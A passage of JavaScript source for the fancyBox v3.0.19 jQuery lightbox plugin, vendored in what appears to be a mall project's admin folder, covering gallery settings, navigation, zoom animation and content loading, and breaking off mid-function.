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java-mall-admin/admin/im/libs3.6.0.min.js
lihaoyuan 76adfec61d update:打包后，admin文件夹忽略去掉
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// ==================================================
// fancyBox v3.0.19
//
// Licensed GPLv3 for open source use
// or fancyBox Commercial License for commercial use
//
// http://fancyapps.com/fancybox/
// Copyright 2017 fancyApps
//
// ==================================================
;(function (window, document, $, undefined) {
'use strict';
// If there's no jQuery, fancyBox can't work
// =========================================
if ( !$ ) {
return undefined;
}
// Private default settings
// ========================
var defaults = {
// Animation duration in ms
speed : 330,
// Enable infinite gallery navigation
loop : true,
// Should zoom animation change opacity, too
// If opacity is 'auto', then fade-out if image and thumbnail have different aspect ratios
opacity : 'auto',
// Space around image, ignored if zoomed-in or viewport smaller than 800px
margin : [44, 0],
// Horizontal space between slides
gutter : 30,
// Should display toolbars
infobar : true,
buttons : true,
// What buttons should appear in the toolbar
slideShow : true,
fullScreen : true,
thumbs : true,
closeBtn : true,
// Should apply small close button at top right corner of the content
// If 'auto' - will be set for content having type 'html', 'inline' or 'ajax'
smallBtn : 'auto',
image : {
// Wait for images to load before displaying
// Requires predefined image dimensions
// If 'auto' - will zoom in thumbnail if 'width' and 'height' attributes are found
preload : "auto",
// Protect an image from downloading by right-click
protect : false
},
ajax : {
// Object containing settings for ajax request
settings : {
// This helps to indicate that request comes from the modal
// Feel free to change naming
data : {
fancybox : true
}
}
},
iframe : {
// Iframe template
tpl : '<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen allowtransparency="true" src=""></iframe>',
// Preload iframe before displaying it
// This allows to calculate iframe content width and height
// (note: Due to "Same Origin Policy", you can't get cross domain data).
preload : true,
// Scrolling attribute for iframe tag
scrolling : 'no',
// Custom CSS styling for iframe wrapping element
css : {}
},
// Custom CSS class for layout
baseClass : '',
// Custom CSS class for slide element
slideClass : '',
// Base template for layout
baseTpl : '<div class="fancybox-container" role="dialog" tabindex="-1">' +
'<div class="fancybox-bg"></div>' +
'<div class="fancybox-controls">' +
'<div class="fancybox-infobar">' +
'<button data-fancybox-previous class="fancybox-button fancybox-button--left" title="Previous"></button>' +
'<div class="fancybox-infobar__body">' +
'<span class="js-fancybox-index"></span>&nbsp;/&nbsp;<span class="js-fancybox-count"></span>' +
'</div>' +
'<button data-fancybox-next class="fancybox-button fancybox-button--right" title="Next"></button>' +
'</div>' +
'<div class="fancybox-buttons">' +
'<button data-fancybox-close class="fancybox-button fancybox-button--close" title="Close (Esc)"></button>' +
'</div>' +
'</div>' +
'<div class="fancybox-slider-wrap">' +
'<div class="fancybox-slider"></div>' +
'</div>' +
'<div class="fancybox-caption-wrap"><div class="fancybox-caption"></div></div>' +
'</div>',
// Loading indicator template
spinnerTpl : '<div class="fancybox-loading"></div>',
// Error message template
errorTpl : '<div class="fancybox-error"><p>The requested content cannot be loaded. <br /> Please try again later.<p></div>',
closeTpl : '<button data-fancybox-close class="fancybox-close-small">×</button>',
// Container is injected into this element
parentEl : 'body',
// Enable gestures (tap, zoom, pan and pinch)
touch : true,
// Enable keyboard navigation
keyboard : true,
// Try to focus on first focusable element after opening
focus : true,
// Close when clicked outside of the content
closeClickOutside : true,
// Callbacks
beforeLoad : $.noop,
afterLoad : $.noop,
beforeMove : $.noop,
afterMove : $.noop,
onComplete : $.noop,
onInit : $.noop,
beforeClose : $.noop,
afterClose : $.noop,
onActivate : $.noop,
onDeactivate : $.noop
};
var $W = $(window);
var $D = $(document);
var called = 0;
// Check if an object is a jQuery object and not a native JavaScript object
// ========================================================================
var isQuery = function (obj) {
return obj && obj.hasOwnProperty && obj instanceof $;
};
// Handle multiple browsers for requestAnimationFrame()
// ====================================================
var requestAFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function( callback ) {
window.setTimeout(callback, 1000 / 60); };
})();
// Check if element is inside the viewport by at least 1 pixel
// ===========================================================
var isElementInViewport = function( el ) {
var rect;
if ( typeof $ === "function" && el instanceof $ ) {
el = el[0];
}
rect = el.getBoundingClientRect();
return rect.bottom > 0 &&
rect.right > 0 &&
rect.left < (window.innerWidth || document.documentElement.clientWidth) &&
rect.top < (window.innerHeight || document.documentElement.clientHeight);
};
// Class definition
// ================
var FancyBox = function( content, opts, index ) {
var self = this;
self.opts = $.extend( true, { index : index }, defaults, opts || {} );
self.id = self.opts.id || ++called;
self.group = [];
self.currIndex = parseInt( self.opts.index, 10 ) || 0;
self.prevIndex = null;
// Create group elements from original item collection
self.createGroup( content );
if ( !self.group.length ) {
return;
}
// Save last active element and current scroll position
self.$lastFocus = $(document.activeElement);
// Collection of interface DOM elements
self.elems = {};
// Collection of gallery objects
self.slides = {};
self.init( content );
};
$.extend(FancyBox.prototype, {
// Create DOM structure
// ====================
init : function() {
var self = this;
var testWidth;
var $container;
self.scrollTop = $W.scrollTop();
self.scrollLeft = $W.scrollLeft();
// Disable compensating on touch-enabled devices as they probably do not have scrollbars anyway
// and therefore we avoid of unnecessary layout reflow
if ( !$.fancybox.isTouch && !$( 'body' ).hasClass( 'fancybox-enabled' ) ) {
testWidth = $( 'body' ).width();
testWidth = $( 'body' ).addClass( 'fancybox-enabled' ).width() - testWidth;
// Body width has increased - compensate missing scrollbars
if ( testWidth > 1 ) {
$( '<style id="fancybox-noscroll" type="text/css">' ).html( '.compensate-for-scrollbar, .fancybox-enabled { margin-right: ' + testWidth + 'px; }' ).appendTo( 'head' );
}
}
$container = $( self.opts.baseTpl )
.attr('id', 'fancybox-container-' + self.id)
.data( 'FancyBox', self )
.addClass( self.opts.baseClass )
.hide()
.prependTo( self.opts.parentEl );
// Create object holding references to jQuery wrapped nodes
self.$refs = {
container : $container,
bg : $container.find('.fancybox-bg'),
controls : $container.find('.fancybox-controls'),
buttons : $container.find('.fancybox-buttons'),
slider_wrap : $container.find('.fancybox-slider-wrap'),
slider : $container.find('.fancybox-slider'),
caption : $container.find('.fancybox-caption')
};
self.prevPos = null;
self.currPos = 0;
self.allowZoomIn = true;
self.trigger( 'onInit' );
// Bring to front and enable events
self.activate();
// Try to avoid running multiple times
if ( self.current ) {
return;
}
self.jumpTo( self.currIndex );
},
// Create array of gally item objects
// Check if each object has valid type and content
// ===============================================
createGroup : function ( content ) {
var self = this;
var items = $.makeArray( content );
$.each(items, function( i, item ) {
var obj = {},
opts = {},
$item,
data,
type,
src,
srcParts;
// Step 1 - Make sure we have an object
if ( $.isPlainObject( item ) ) {
obj = item;
opts = item.opts || {};
} else if ( $.type( item ) === 'object' && $( item ).length ) {
$item = $( item );
data = $item.data();
opts = 'options' in data ? data.options : {};
opts = $.type( opts ) === 'object' ? opts : {};
obj.type = 'type' in data ? data.type : opts.type;
obj.src = 'src' in data ? data.src : ( opts.src || $item.attr( 'href' ) );
opts.width = 'width' in data ? data.width : opts.width;
opts.height = 'height' in data ? data.height : opts.height;
opts.thumb = 'thumb' in data ? data.thumb : opts.thumb;
opts.caption = 'caption' in data ? data.caption : ( opts.caption || $item.attr( 'title' ) );
opts.selector = 'selector' in data ? data.selector : opts.selector;
opts.$orig = $item;
} else {
obj = {
type : 'html',
content : item + ''
};
}
obj.opts = $.extend( true, {}, self.opts, opts );
// Step 2 - Make sure we have supported content type
type = obj.type;
src = obj.src || '';
if ( !type ) {
if ( obj.content ) {
type = 'html';
} else if ( src.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i) ) {
type = 'image';
} else if ( src.match(/\.(pdf)((\?|#).*)?$/i) ) {
type = 'pdf';
} else if ( src.charAt(0) === '#' ) {
type = 'inline';
}
obj.type = type;
}
// Step 3 - Some adjustments
obj.index = self.group.length;
// Check if $orig and $thumb objects exist
if ( obj.opts.$orig && !obj.opts.$orig.length ) {
delete obj.opts.$orig;
}
if ( !obj.opts.$thumb && obj.opts.$orig ) {
obj.opts.$thumb = obj.opts.$orig.find( 'img:first' );
}
if ( obj.opts.$thumb && !obj.opts.$thumb.length ) {
delete obj.opts.$thumb;
}
// Make sure we have caption as a string
if ( $.type( self.opts.caption ) === 'function' ) {
obj.opts.caption = self.opts.caption.apply( item, [ self, obj ] );
} else {
obj.opts.caption = obj.opts.caption === undefined ? '' : obj.opts.caption + '';
}
// Check if url contains selector used to filter the content
// Example: "ajax.html #something"
if ( type === 'ajax' ) {
srcParts = src.split(/\s+/, 2);
if ( srcParts.length > 1 ) {
obj.src = srcParts.shift();
obj.opts.selector = srcParts.shift();
}
}
if ( obj.opts.smallBtn == 'auto' ) {
if ( $.inArray( type, ['html', 'inline', 'ajax'] ) > -1 ) {
obj.opts.buttons = false;
obj.opts.smallBtn = true;
} else {
obj.opts.smallBtn = false;
}
}
if ( type === 'pdf' ) {
obj.type = 'iframe';
obj.opts.closeBtn = true;
obj.opts.smallBtn = false;
obj.opts.iframe.preload = false;
}
if ( obj.opts.modal ) {
$.extend(true, obj.opts, {
infobar : 0,
buttons : 0,
keyboard : 0,
slideShow : 0,
fullScreen : 0,
closeClickOutside : 0
});
}
self.group.push( obj );
});
},
// Attach an event handler functions for:
// - navigation elements
// - browser scrolling, resizing;
// - focusing
// - keyboard
// =================
addEvents : function() {
var self = this;
var runUpdate = function () {
$W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );
self.$refs.slider_wrap.show();
self.update();
};
self.removeEvents();
// Make navigation elements clickable
self.$refs.container.on('click.fb-close', '[data-fancybox-close]', function(e) {
e.stopPropagation();
e.preventDefault();
self.close( e );
}).on('click.fb-previous', '[data-fancybox-previous]', function(e) {
e.stopPropagation();
e.preventDefault();
self.previous();
}).on('click.fb-next', '[data-fancybox-next]', function(e) {
e.stopPropagation();
e.preventDefault();
self.next();
});
// Handle page scrolling and browser resizing
$( window ).on('orientationchange.fb resize.fb', function(e) {
requestAFrame(function() {
if ( e.type == "orientationchange" ) {
self.$refs.slider_wrap.hide();
requestAFrame( runUpdate );
} else {
runUpdate();
}
});
});
// Trap focus
$D.on('focusin.fb', function(e) {
var instance;
if ( $.fancybox ) {
instance = $.fancybox.getInstance();
if ( instance && !$( e.target ).hasClass( 'fancybox-container' ) && !$.contains( instance.$refs.container[0], e.target ) ) {
e.stopPropagation();
instance.focus();
}
}
});
// Enable keyboard navigation
$( document ).on('keydown.fb', function (e) {
var current = self.current,
keycode = e.keyCode || e.which;
if ( !current || !current.opts.keyboard ) {
return;
}
if ( $(e.target).is('input') || $(e.target).is('textarea') ) {
return;
}
// Backspace and Esc keys
if ( keycode === 8 || keycode === 27 ) {
e.preventDefault();
self.close();
return;
}
switch ( keycode ) {
case 37: // Left arrow
case 38: // Up arrow
e.preventDefault();
self.previous();
break;
case 39: // Right arrow
case 40: // Down arrow
e.preventDefault();
self.next();
break;
case 80: // "P"
case 32: // Spacebar
e.preventDefault();
if ( self.SlideShow ) {
e.preventDefault();
self.SlideShow.toggle();
}
break;
case 70: // "F"
if ( self.FullScreen ) {
e.preventDefault();
self.FullScreen.toggle();
}
break;
case 71: // "G"
if ( self.Thumbs ) {
e.preventDefault();
self.Thumbs.toggle();
}
break;
}
});
},
// Remove events added by the core
// ===============================
removeEvents : function () {
$W.off( 'scroll.fb resize.fb orientationchange.fb' );
$D.off( 'keydown.fb focusin.fb click.fb-close' );
this.$refs.container.off('click.fb-close click.fb-previous click.fb-next');
},
// Slide to left
// ==================
previous : function( duration ) {
if ( this.current.opts.loop || this.currIndex > 0 ) {
this.jumpTo( this.currIndex - 1, duration );
} else {
this.update( false, false, duration );
}
},
// Slide to right
// ===================
next : function( duration ) {
if ( this.current.opts.loop || this.currIndex < this.group.length - 1 ) {
this.jumpTo( this.currIndex + 1, duration );
} else {
this.update( false, false, duration );
}
},
// Display current gallery item, move slider to current position
// =============================================================
jumpTo : function ( to, duration ) {
var self = this,
firstRun = self.prevIndex === null,
index,
pos;
to = parseInt( to, 10 );
index = to;
pos = to;
index = index % self.group.length;
index = index < 0 ? self.group.length + index : index;
if ( self.isAnimating || ( index == self.currIndex && !firstRun ) ) {
return;
}
if ( self.group.length > 1 && !firstRun ) {
// Calculate closest position of upcoming item from the current one
if ( self.group.length == 2 ) {
pos = to - self.currIndex + self.currPos;
} else {
pos = index - self.currIndex + self.currPos;
if ( Math.abs( self.currPos - ( pos + self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
pos = pos + self.group.length;
} else if ( Math.abs( self.currPos - ( pos - self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
pos = pos - self.group.length;
}
}
}
self.prevIndex = self.currIndex;
self.prevPos = self.currPos;
self.currIndex = index;
self.currPos = pos;
// Create slides
self.createSlide( pos );
if ( self.group.length > 1 ) {
if ( self.opts.loop || pos - 1 >= 0 ) {
self.createSlide( pos - 1 );
}
if ( self.opts.loop || pos + 1 < self.group.length ) {
self.createSlide( pos + 1 );
}
}
self.current = self.slides[ pos ];
self.current.isMoved = false;
self.current.isComplete = false;
duration = parseInt( duration === undefined ? self.current.opts.speed * 1.5 : duration, 10 );
// Move slider to the next position
// Note: the content might still be loading
self.trigger( 'beforeMove' );
self.updateControls();
if ( firstRun ) {
self.current.$slide.addClass('fancybox-slide--current');
self.$refs.container.show();
self.$refs.bg.css('transition-duration', ( duration + 90 ) + 'ms').hide().show(0);
self.$refs.container.addClass( 'fancybox-container--ready' );
} else {
self.$refs.slider.children().removeClass('fancybox-slide--current fancybox-slide--complete');
}
// Set position immediately on first opening
self.update( true, false, firstRun ? 0 : duration, function() {
self.afterMove();
});
self.loadSlide( self.current );
},
// Create new "slide" element
// These are gallery items that are actually added to DOM
// =======================================================
createSlide : function( pos ) {
var self = this;
var $slide;
var index;
index = pos % self.group.length;
index = index < 0 ? self.group.length + index : index;
if ( !self.slides[ pos ] && self.group[ index ] ) {
$slide = $('<div class="fancybox-slide"></div>').appendTo( self.$refs.slider );
self.slides[ pos ] = $.extend( true, {}, self.group[ index ], {
pos : pos,
$slide : $slide,
isMoved : false,
isLoaded : false
});
}
},
zoomInOut : function( type, duration, callback ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var opacity = current.opts.opacity;
var $thumb = current.opts.$thumb;
var thumbPos = $thumb ? $thumb.offset() : 0;
var slidePos = current.$slide.offset();
var props;
var start;
var end;
if ( !$what || !thumbPos || !isElementInViewport( $thumb ) ) {
return false;
}
$.fancybox.stop( $what );
self.isAnimating = true;
props = {
top : thumbPos.top - slidePos.top + parseFloat( $thumb.css( "border-top-width" ) || 0 ),
left : thumbPos.left - slidePos.left + parseFloat( $thumb.css( "border-left-width" ) || 0 ),
width : $thumb.width(),
height : $thumb.height(),
scaleX : 1,
scaleY : 1
};
// Check if we need to animate opacity
if ( opacity == 'auto' ) {
opacity = Math.abs( current.width / current.height - props.width / props.height ) > 0.1;
}
if ( type === 'In' ) {
start = props;
end = self.getFitPos( current );
end.scaleX = end.width / start.width;
end.scaleY = end.height / start.height;
if ( opacity ) {
start.opacity = 0.1;
end.opacity = 1;
}
} else {
start = $.fancybox.getTranslate( $what );
end = props;
// Switch to thumbnail image to improve animation performance
if ( current.$ghost ) {
current.$ghost.show();
if ( current.$image ) {
current.$image.remove();
}
}
start.scaleX = start.width / end.width;
start.scaleY = start.height / end.height;
start.width = end.width;
start.height = end.height;
if ( opacity ) {
end.opacity = 0;
}
}
self.updateCursor( end.width, end.height );
// There is no need to animate width/height
delete end.width;
delete end.height;
$.fancybox.setTranslate( $what, start );
$what.show();
self.trigger( 'beforeZoom' + type );
setTimeout(function() {
$what.css( 'transition', 'all ' + duration + 'ms' );
$.fancybox.setTranslate( $what, end );
setTimeout(function() {
$what.css( 'transition', 'none' );
self.trigger( 'afterZoom' + type );
callback();
self.isAnimating = false;
}, duration + 20 );
}, 70);
return true;
},
// Start "zoom-in" animation if possible
// =====================================
zoomIn : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
self.allowZoomIn = false;
self.isOpening = true;
return self.zoomInOut( 'In', current.opts.speed, function() {
var reset = $.fancybox.getTranslate( $what );
reset.scaleX = 1;
reset.scaleY = 1;
// Reset scalex/scaleY values; this helps for perfomance
$.fancybox.setTranslate( $what, reset );
self.isOpening = false;
self.update( false, true, 0 );
if ( current.$ghost ) {
self.setBigImage( current );
}
});
},
// Start "zoom-out" animation if possible
// ======================================
zoomOut : function( callback ) {
var self = this;
var current = self.current;
if ( self.zoomInOut( 'Out', current.opts.speed, callback ) ) {
self.$refs.bg.css('transition-duration', current.opts.speed + 'ms');
this.$refs.container.removeClass( 'fancybox-container--ready' );
return true;
}
return false;
},
// Check if image dimensions exceed parent element
// ===============================================
canPan : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var rez = false;
if ( $what ) {
rez = self.getFitPos( current );
rez = Math.abs( $what.width() - rez.width ) > 1 || Math.abs( $what.height() - rez.height ) > 1;
}
return rez;
},
// Check if current image dimensions are smaller than actual
// =========================================================
isScaledDown : function() {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var rez = false;
if ( $what ) {
rez = $.fancybox.getTranslate( $what );
rez = rez.width < current.width || rez.height < current.height;
}
return rez;
},
// Scale image to the actual size of the image
// ===========================================
scaleToActual : function( x, y, duration ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var imgPos, posX, posY, scaleX, scaleY;
var canvasWidth = parseInt( current.$slide.width(), 10 );
var canvasHeight = parseInt( current.$slide.height(), 10 );
var newImgWidth = current.width;
var newImgHeight = current.height;
if ( !$what ) {
return;
}
self.isAnimating = true;
x = x === undefined ? canvasWidth * 0.5 : x;
y = y === undefined ? canvasHeight * 0.5 : y;
imgPos = $.fancybox.getTranslate( $what );
scaleX = newImgWidth / imgPos.width;
scaleY = newImgHeight / imgPos.height;
// Get center position for original image
posX = ( canvasWidth * 0.5 - newImgWidth * 0.5 );
posY = ( canvasHeight * 0.5 - newImgHeight * 0.5 );
// Make sure image does not move away from edges
if ( newImgWidth > canvasWidth ) {
posX = imgPos.left * scaleX - ( ( x * scaleX ) - x );
if ( posX > 0 ) {
posX = 0;
}
if ( posX < canvasWidth - newImgWidth ) {
posX = canvasWidth - newImgWidth;
}
}
if ( newImgHeight > canvasHeight) {
posY = imgPos.top * scaleY - ( ( y * scaleY ) - y );
if ( posY > 0 ) {
posY = 0;
}
if ( posY < canvasHeight - newImgHeight ) {
posY = canvasHeight - newImgHeight;
}
}
self.updateCursor( newImgWidth, newImgHeight );
$.fancybox.animate( $what, {
top : imgPos.top,
left : imgPos.left,
width : newImgWidth,
height : newImgHeight,
scaleX : imgPos.width / newImgWidth,
scaleY : imgPos.height / newImgHeight
}, {
top : posY,
left : posX,
scaleX : 1,
scaleY : 1
}, duration || current.opts.speed, function() {
self.isAnimating = false;
});
},
// Scale image to fit inside parent element
// ========================================
scaleToFit : function( duration ) {
var self = this;
var current = self.current;
var $what = current.$placeholder;
var end;
if ( !$what ) {
return;
}
self.isAnimating = true;
end = self.getFitPos( current );
self.updateCursor( end.width, end.height );
$.fancybox.animate( $what, null, {
top : end.top,
left : end.left,
scaleX : end.width / $what.width(),
scaleY : end.height / $what.height()
}, duration || current.opts.speed, function() {
self.isAnimating = false;
});
},
// Calculate image size to fit inside viewport
// ===========================================
getFitPos : function( slide ) {
var $what = slide.$placeholder || slide.$content;
var imgWidth = slide.width;
var imgHeight = slide.height;
var margin = slide.opts.margin;
var canvasWidth, canvasHeight, minRatio, top, left, width, height;
if ( !$what || !$what.length || ( !imgWidth && !imgHeight) ) {
return false;
}
// Convert "margin to CSS style: [ top, right, bottom, left ]
if ( $.type( margin ) === "number" ) {
margin = [ margin, margin ];
}
if ( margin.length == 2 ) {
margin = [ margin[0], margin[1], margin[0], margin[1] ];
}
if ( $W.width() < 800 ) {
margin = [0, 0, 0, 0];
}
canvasWidth = parseInt( slide.$slide.width(), 10 ) - ( margin[ 1 ] + margin[ 3 ] );
canvasHeight = parseInt( slide.$slide.height(), 10 ) - ( margin[ 0 ] + margin[ 2 ] );
minRatio = Math.min(1, canvasWidth / imgWidth, canvasHeight / imgHeight );
// Use floor rounding to make sure it really fits
width = Math.floor( minRatio * imgWidth );
height = Math.floor( minRatio * imgHeight );
top = Math.floor( ( canvasHeight - height ) * 0.5 ) + margin[ 0 ];
left = Math.floor( ( canvasWidth - width ) * 0.5 ) + margin[ 3 ];
return {
top : top,
left : left,
width : width,
height : height
};
},
// Move slider to current position
// Update all slides (and their content)
// =====================================
update : function( andSlides, andContent, duration, callback ) {
var self = this;
var leftValue = ( self.current.pos * Math.floor( self.current.$slide.width() ) * -1 ) - ( self.current.pos * self.current.opts.gutter ) ;
if ( self.isOpening === true ) {
return;
}
duration = parseInt( duration, 10 ) || 0;
$.fancybox.stop( self.$refs.slider );
if ( andSlides === false ) {
self.updateSlide( self.current, andContent );
} else {
$.each( self.slides, function( key, slide ) {
self.updateSlide( slide, andContent );
});
}
if ( duration ) {
$.fancybox.animate( self.$refs.slider, null, {
top : 0,
left : leftValue
}, duration, function() {
self.current.isMoved = true;
if ( $.type( callback ) === 'function' ) {
callback.apply( self );
}
});
} else {
$.fancybox.setTranslate( self.$refs.slider, { left : leftValue } );
if ( $.type( callback ) === 'function' ) {
callback.apply( self );
}
}
self.updateCursor();
},
// Update slide position and scale content to fit
// ==============================================
updateSlide : function( slide, andContent ) {
var self = this;
var $what = slide.$placeholder;
slide = slide || self.current;
if ( !slide || self.isClosing ) {
return;
}
$.fancybox.setTranslate( slide.$slide, { left : ( slide.pos * Math.floor( slide.$slide.width() ) ) + ( slide.pos * slide.opts.gutter) } );
if ( andContent !== false && $what ) {
$.fancybox.setTranslate( $what, self.getFitPos( slide ) );
}
slide.$slide.trigger( 'refresh' );
self.trigger( 'onUpdate', slide );
},
// Update cursor style depending if content can be zoomed
// ======================================================
updateCursor : function( nextWidth, nextHeight ) {
var self = this;
var canScale;
var $container = self.$refs.container.removeClass('fancybox-controls--canzoomIn fancybox-controls--canzoomOut fancybox-controls--canGrab');
if ( self.isClosing || !self.opts.touch ) {
return;
}
if ( nextWidth !== undefined && nextHeight !== undefined ) {
canScale = nextWidth < self.current.width && nextHeight < self.current.height;
} else {
canScale = self.isScaledDown();
}
if ( canScale ) {
$container.addClass('fancybox-controls--canzoomIn');
} else if ( self.group.length < 2 ) {
$container.addClass('fancybox-controls--canzoomOut');
} else {
$container.addClass('fancybox-controls--canGrab');
}
},
// Load content into the slide
// ===========================
loadSlide : function( slide ) {
var self = this, type, $slide;
var ajaxLoad;
if ( !slide ) {
return false;
}
if ( slide.isLoading ) {
return;
}
self.trigger( 'beforeLoad', slide );
type = slide.type;
$slide = slide.$slide;
$slide
.unbind( 'refresh' )
.trigger( 'onReset' )
.addClass( 'fancybox-slide--' + ( type || 'unknown' ) )
.addClass( slide.opts.slideClass );
slide.isLoading = true;
// Create content depending on the type
switch ( type ) {
case 'image':
self.setImage( slide );
break;
case 'iframe':
self.setIframe( slide );
break;
case 'html':
self.setContent( slide, slide.content );
break;
case 'inline':
if ( $( slide.src ).length ) {
self.setContent( slide, $( slide.src ) );
} else {
self.setError( slide );
}
break;
case 'ajax':
self.showLoading( slide );
ajaxLoad = $.ajax( $.extend( {}, slide.opts.ajax.settings, {
url: slide.src,
success: function ( data, textStatus ) {
if ( textStatus === 'success' ) {
self.setContent( slide, data );
}
},
error: function ( jqXHR, textStatus ) {
if ( jqXHR && textStatus !== 'abort' ) {
self.setError( slide );
}
}
}));
$slide.one( 'onReset', function () {
ajaxLoad.abort();
});
break;
default:
self.setError( slide );
break;
}
return true;
},
// Use thumbnail image, if possible
// ================================
setImage : function( slide ) {
var self = this;
if ( slide.isLoaded && !slide.hasError ) {
self.afterLoad( slide );
return;
}
slide.$placeholder = $('<div class="fancybox-placeholder"></div>').hide().prependTo( slide.$slide );
if ( slide.opts.preload !== false && slide.opts.width && slide.opts.height && ( slide.opts.thumb || slide.opts.$thumb ) ) {
slide.width = slide.opts.width;
slide.height = slide.opts.height;
slide.$ghost = $('<img />')
.addClass( 'fancybox-image' )
.one('load error', function() {
if ( self.isClosing ) {
return;
}
$( this ).appendTo( slide.$placeholder );
// Start preloading full size image
$('<img/>')[0].src = slide.src;
// Check if we can perform zoom-in animation
if ( !self.allowZoomIn || !( slide.index === self.currIndex && self.zoomIn() ) ) {
self.isOpening = false;
self.updateSlide( slide, true );
slide.$placeholder.show();
self.setBigImage( slide );
}
})
.attr( 'src', slide.opts.thumb || slide.opts.$thumb.attr( 'src' ) );
} else {
self.setBigImage( slide );
}
},
// Create full-size image
// ======================
setBigImage : function ( slide ) {
var self = this;
var $img = $('<img />');
if ( slide.opts.image.protect ) {
$('<div class="fancybox-spaceball"></div>').appendTo( slide.$placeholder );
}
$img.one('error', function() {
self.setError( slide );
}).one('load', function() {
if ( self.isClosing ) {
return;
}
slide.$image = $img.addClass('fancybox-image').appendTo( slide.$placeholder );
slide.width = this.naturalWidth;
slide.height = this.naturalHeight;
self.afterLoad( slide );
if ( slide.$ghost ) {
slide.timouts = setTimeout(function() {
slide.$ghost.hide();
}, 300);
}
}).attr('src', slide.src);
if ( $img[0].complete ) {
$img.trigger('load');
} else if( $img[0].error ) {
$img.trigger('error');
} else {
slide.timouts = setTimeout(function() {
if ( !$img[0].complete ) {
self.showLoading( slide );
}
}, 150);
}
},
// Simply show image holder without animation
// It has been hidden initially to avoid flickering
// ================================================
revealImage : function( slide ) {
if ( slide.$placeholder ) {
slide.$placeholder.show();
if ( slide.index === this.currIndex ) {
this.updateCursor();
}
}
},
// Create iframe wrapper, iframe and bindings
// ==========================================
setIframe : function( slide ) {
var self = this,
opts = slide.opts.iframe,
$slide = slide.$slide,
$iframe;
slide.$content = $('<div class="fancybox-content"></div>')
.css( opts.css )
.appendTo( $slide );
$iframe = $( opts.tpl.replace(/\{rnd\}/g, new Date().getTime()) )
.attr('scrolling', $.fancybox.isTouch ? 'auto' : opts.scrolling)
.appendTo( slide.$content );
if ( opts.preload ) {
slide.$content.addClass( 'fancybox-tmp' );
self.showLoading( slide );
// Unfortunately, it is not always possible to determine if iframe is successfully loaded
// (due to browser security policy)
$iframe.on('load.fb error.fb', function(e) {
this.isReady = 1;
slide.$slide.trigger( 'refresh' );
self.afterLoad( slide );
});
// Recalculate iframe content size
$slide.on('refresh.fb', function() {
var $wrap = slide.$content,
$contents,
$body,
scrollWidth,
frameWidth,
frameHeight;
if ( $iframe[0].isReady !== 1 ) {
return;
}
// Check if content is accessible,
// it will fail if frame is not with the same origin
try {
$contents = $iframe.contents();
$body = $contents.find('body');
} catch (ignore) {}
// Calculate dimensions for the wrapper
if ( $body && $body.length && !( opts.css.width !== undefined && opts.css.height !== undefined ) ) {
scrollWidth = $iframe[0].contentWindow.document.documentElement.scrollWidth;
frameWidth = Math.ceil( $body.outerWidth(true) + ( $wrap.width() - scrollWidth ) );
frameHeight = Math.ceil( $body.outerHeight(true) );
// Resize wrapper to fit iframe content
$wrap.css({
'width' : opts.css.width === undefined ? frameWidth + ( $wrap.outerWidth() - $wrap.innerWidth() ) : opts.css.width,
'height' : opts.css.height === undefined ? frameHeight + ( $wrap.outerHeight() - $wrap.innerHeight() ) : opts.css.height
});
}
$wrap.removeClass( 'fancybox-tmp' );
});
} else {
this.afterLoad( slide );
}
$iframe.attr( 'src', slide.src );
if ( slide.opts.smallBtn ) {
slide.$content.prepend( slide.opts.closeTpl );
}
// Remove iframe if closing or changing gallery item
$slide.one('onReset', function () {
// This helps IE not to throw errors when closing
try {
$(this).find('iframe').hide().attr('src', '//about:blank');
} catch (ignore) {}
$(this).empty();
});
},
// Wrap and append content to the slide
// ======================================
setContent : function ( slide, content ) {
var self = this;
if ( self.isClosing ) {
return;
}
self.hideLoading( slide );
slide.$slide.empty();
if ( isQuery( content ) && content.parent().length ) {
// If it is a jQuery object, then it will be moved to the box.
// The placeholder is created so we will know where to put it back.
// If user is navigating gallery fast, then the content might be already moved to the box
if ( content.data( 'placeholder' ) ) {
content.parents('.fancybox-slide').trigger( 'onReset' );
}
content.data({'placeholder' : $('<div></div>' ).hide().insertAfter( content ) }).css('display', 'inline-block');
} else {
if ( $.type( content ) === 'string' ) {
content = $('<div>').append( content ).contents();
if ( content[0].nodeType === 3 ) {
content = $('<div>').html( content );
}
}
if ( slide.opts.selector ) {
content = $('<div>').html( content ).find( slide.opts.selector );
}
}
slide.$slide.one('onReset', function () {
var placeholder = isQuery( content ) ? content.data('placeholder') : 0;
if ( placeholder ) {
content.hide().replaceAll( placeholder );
content.data( 'placeholder', null );
}
$(this).empty();
slide.isLoaded = false;
});
slide.$content = $( content ).appendTo( slide.$slide );
if ( slide.opts.smallBtn === true ) {
slide.$content.find( '.fancybox-close-small' ).remove().end().eq(0).append( slide.opts.closeTpl );
}
this.afterLoad( slide );
},
// Display error message
// =====================
setError : function ( slide ) {
slide.hasError = true;
this.setContent( slide, slide.opts.errorTpl );
},
showLoading : function( slide ) {
var self = this;
slide = slide || self.current;
if ( slide && !slide.$spinner ) {
slide.$spinner = $( self.opts.spinnerTpl ).appendTo( slide.$slide );
}
},
hideLoading : function( slide ) {
var self = this;
slide = slide || self.current;
if ( slide && slide.$spinner ) {
slide.$spinner.remove();
delete slide.$spinner;
}
},
afterMove : function() {
var self = this;
var current = self.current;
if ( !current ) {
return;
}
current.isMoved = true;
current.$slide.siblings().trigger( 'onReset' );
// Remove unnecessary slides
$.each( self.slides, function( key, slide ) {
// Leave current and neighbouring slides
if ( slide.pos < self.currPos - 1 || slide.pos > self.currPos + 1 ) {
slide.$slide.remove();
delete self.slides[ key ];
}
});
self.trigger( 'afterMove' );
if ( current.isLoaded ) {
self.complete();
}
},
// Adjustments after slide has been loaded
// =======================================
afterLoad : function( slide ) {
var self = this;
if ( self.isClosing ) {
return;
